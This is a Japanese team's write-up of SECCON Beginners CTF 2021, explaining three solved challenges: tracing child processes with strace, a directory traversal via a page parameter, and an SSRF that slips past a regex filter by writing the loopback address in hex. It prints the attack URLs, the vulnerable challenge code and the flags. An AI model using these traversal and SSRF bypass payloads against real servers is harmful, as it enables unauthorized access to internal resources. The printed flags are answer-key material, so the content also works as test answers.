2021-05-22 14:00 – 2021-05-23 14:00 (JST)に開催されたSECCON Beginners CTF 2021のWriteupです。
友人であるmaa氏との2人チームで出場し、2219pt獲得して全1095チーム中52位でした。
Writeup
children (reversing)
ELFファイルが与えられ、次々に作成される子プロセスのprocess IDを追いかける問題です。
straceを使って生成された新しい子プロセスのprocess IDを入力していき、最後に生成された子プロセスの総数を答えればフラグが獲得できます。
$ strace ./children
execve("./children", ["./children"], 0x7fff2cc240c0 /* 22 vars */) = 0
brk(NULL) = 0x55caadded000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=91823, ...}) = 0
mmap(NULL, 91823, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f4627b28000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\35\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030928, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4627b26000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f4627525000
mprotect(0x7f462770c000, 2097152, PROT_NONE) = 0
mmap(0x7f462790c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f462790c000
mmap(0x7f4627912000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f4627912000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7f4627b27500) = 0
mprotect(0x7f462790c000, 16384, PROT_READ) = 0
mprotect(0x55caacec5000, 4096, PROT_READ) = 0
mprotect(0x7f4627b3f000, 4096, PROT_READ) = 0
munmap(0x7f4627b28000, 91823) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
brk(NULL) = 0x55caadded000
brk(0x55caade0e000) = 0x55caade0e000
write(1, "I will generate 10 child process"..., 36I will generate 10 child processes.
) = 36
write(1, "They also might generate additio"..., 51They also might generate additional child process.
) = 51
write(1, "Please tell me each process id i"..., 58Please tell me each process id in order to identify them!
) = 58
write(1, "\n", 1
) = 1
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4627b277d0) = 13958
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
read(0, 0x55caadded670, 1024) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=13958, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
read(0,
===(略)===
"14367\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
wait4(-1, NULL, 0, NULL) = 13958
write(1, "How many children were born?\n", 29How many children were born?
) = 29
read(0, 11
"11\n", 1024) = 3
write(1, "ctf4b{p0werfu1_tr4sing_t0015_15_"..., 40ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} ) = 40
lseek(0, -1, SEEK_CUR) = -1 ESPIPE (Illegal seek)
exit_group(0) = ?
+++ exited with 0 +++
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
osoba (web)
適当にページを開くとクエリにファイルパスらしきものが指定されています。
例: https://osoba.quals.beginners.seccon.jp/?page=public/wip.html
def index():
page = request.args.get('page', 'public/index.html')
response = make_response(send_file(page))
response.content_type = "text/html"
return response
配布ファイルと問題文を参照すると/flagにフラグがあることがわかるので、以下のURLにアクセスするとディレクトリトラバーサルでflagが取得できます。
https://osoba.quals.beginners.seccon.jp/?page=../flag
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
check_url (web)
配布された index.php の中に以下のような記述があります。
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
echo "Hi, Admin or SSSSRFer<br>";
echo "********************FLAG********************";
}else{
echo "Here, take this<br>";
$url = $_GET["url"];
if ($url !== "https://www.example.com"){
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
die("do not hack me!");
}
echo "URL: ".$url."<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
echo "<iframe srcdoc='";
curl_exec($ch);
echo "' width='750' height='500'></iframe>";
curl_close($ch);
}
curl_execがあるのでSSRFでローカルからのアクセスだと判断させればフラグが得られそうですが、正規表現でアルファベットと数字以外が弾かれてしまうため127.0.0.1は指定できません。
上記記事を参考にし、アルファベットと数字のみで127.0.0.1を表せる表記をいくつか試したところ、
https://check-url.quals.beginners.seccon.jp/?url=0x7F000001
で通りました。ちなみに0x7F000001は16進表記バージョンらしいです。
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
所感
メンバーの応援をしながらいけそうな問題にちょこちょこ手を付けてました。
reversingもう1問くらい解きたかったので今後の課題ということで。